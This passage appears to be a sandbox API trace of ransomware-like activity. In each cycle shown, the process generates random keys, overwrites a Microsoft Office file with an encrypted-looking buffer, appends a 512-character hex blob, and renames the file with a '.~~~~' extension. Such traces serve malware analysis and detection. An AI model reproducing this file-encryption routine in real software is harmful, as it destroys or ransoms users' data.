	[0131.210] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.210] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.210] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.210] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.211] CloseHandle (hObject=0x13c) returned 1
	[0131.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4318
	[0131.222] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll.~~~~")) returned 1
	[0131.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x300000) returned 1
	[0131.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0131.236] GetLastError () returned 0x0
	[0131.263] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2a11be0) returned 1
	[0131.264] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.264] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0131.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0131.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0131.264] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25125461687) returned 1
	[0131.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7add1b0, dwHighDateTime=0x1d60e1e)) 
	[0131.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0131.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0131.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0131.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823640
	[0131.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823640 | out: hHeap=0x300000) returned 1
	[0131.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0131.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c43b0
	[0131.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0131.265] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0131.266] GetLastError () returned 0x0
	[0131.266] GetLastError () returned 0x0
	[0131.266] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0131.266] GetLastError () returned 0x0
	[0131.266] GetLastError () returned 0x0
	[0131.268] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffbc78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.269] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4388, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x4388, lpOverlapped=0x0) returned 1
	[0131.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0131.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.271] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.272] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.272] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.272] CloseHandle (hObject=0x130) returned 1
	[0131.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c43b0
	[0131.272] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.~~~~")) returned 1
	[0131.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c43b0 | out: hHeap=0x300000) returned 1
	[0131.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0131.597] GetLastError () returned 0x0
	[0131.627] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a18b8) returned 1
	[0131.628] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.628] CryptReleaseContext (hProv=0x3a18b8, dwFlags=0x0) returned 1
	[0131.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.628] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25161821150) returned 1
	[0131.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7e6f2b0, dwHighDateTime=0x1d60e1e)) 
	[0131.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822aa8
	[0131.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822aa8 | out: hHeap=0x300000) returned 1
	[0131.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0131.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb8c8
	[0131.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.629] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0131.629] GetLastError () returned 0x0
	[0131.630] GetLastError () returned 0x0
	[0131.630] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0131.630] GetLastError () returned 0x0
	[0131.630] GetLastError () returned 0x0
	[0131.632] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd080, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.632] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x2f80, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x2f80, lpOverlapped=0x0) returned 1
	[0131.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.635] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.635] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.635] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.635] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.635] CloseHandle (hObject=0x138) returned 1
	[0131.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb8c8
	[0131.635] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll.~~~~")) returned 1
	[0131.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb8c8 | out: hHeap=0x300000) returned 1
	[0131.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.637] GetLastError () returned 0x0
	[0131.638] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a18b8) returned 1
	[0131.639] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.639] CryptReleaseContext (hProv=0x3a18b8, dwFlags=0x0) returned 1
	[0131.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.639] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25162946163) returned 1
	[0131.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7e6f2b0, dwHighDateTime=0x1d60e1e)) 
	[0131.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28238a8
	[0131.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28238a8 | out: hHeap=0x300000) returned 1
	[0131.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0131.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbb28
	[0131.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.640] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0131.640] GetLastError () returned 0x0
	[0131.641] GetLastError () returned 0x0
	[0131.641] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0131.641] GetLastError () returned 0x0
	[0131.641] GetLastError () returned 0x0
	[0131.644] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.644] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0131.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.647] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.647] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.647] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.647] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.648] CloseHandle (hObject=0x138) returned 1
	[0131.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbb28
	[0131.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla.~~~~")) returned 1
	[0131.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbb28 | out: hHeap=0x300000) returned 1
	[0131.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.650] GetLastError () returned 0x0
	[0131.651] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a18b8) returned 1
	[0131.652] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.652] CryptReleaseContext (hProv=0x3a18b8, dwFlags=0x0) returned 1
	[0131.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.652] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25164262165) returned 1
	[0131.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7e95410, dwHighDateTime=0x1d60e1e)) 
	[0131.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28238e0
	[0131.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28238e0 | out: hHeap=0x300000) returned 1
	[0131.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0131.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbe20
	[0131.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.653] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0131.654] GetLastError () returned 0x0
	[0131.654] GetLastError () returned 0x0
	[0131.654] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0131.654] GetLastError () returned 0x0
	[0131.654] GetLastError () returned 0x0
	[0131.905] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffec098, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.905] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x13f68, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x13f68, lpOverlapped=0x0) returned 1
	[0131.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.908] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.908] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.908] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.908] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.909] CloseHandle (hObject=0x138) returned 1
	[0131.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0131.918] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.~~~~")) returned 1
	[0131.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc708 | out: hHeap=0x300000) returned 1
	[0131.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.952] GetLastError () returned 0x0
	[0131.953] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a13f0) returned 1
	[0131.954] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.954] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0131.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.954] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25194403779) returned 1
	[0131.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb818ef90, dwHighDateTime=0x1d60e1e)) 
	[0131.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823a30
	[0131.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823a30 | out: hHeap=0x300000) returned 1
	[0131.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0131.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b11f0
	[0131.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0131.955] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0131.955] GetLastError () returned 0x0
	[0131.955] GetLastError () returned 0x0
	[0131.955] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0131.955] GetLastError () returned 0x0
	[0131.955] GetLastError () returned 0x0
	[0131.960] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.960] WriteFile (in: hFile=0x128, lpBuffer=0x2a620c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a620c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
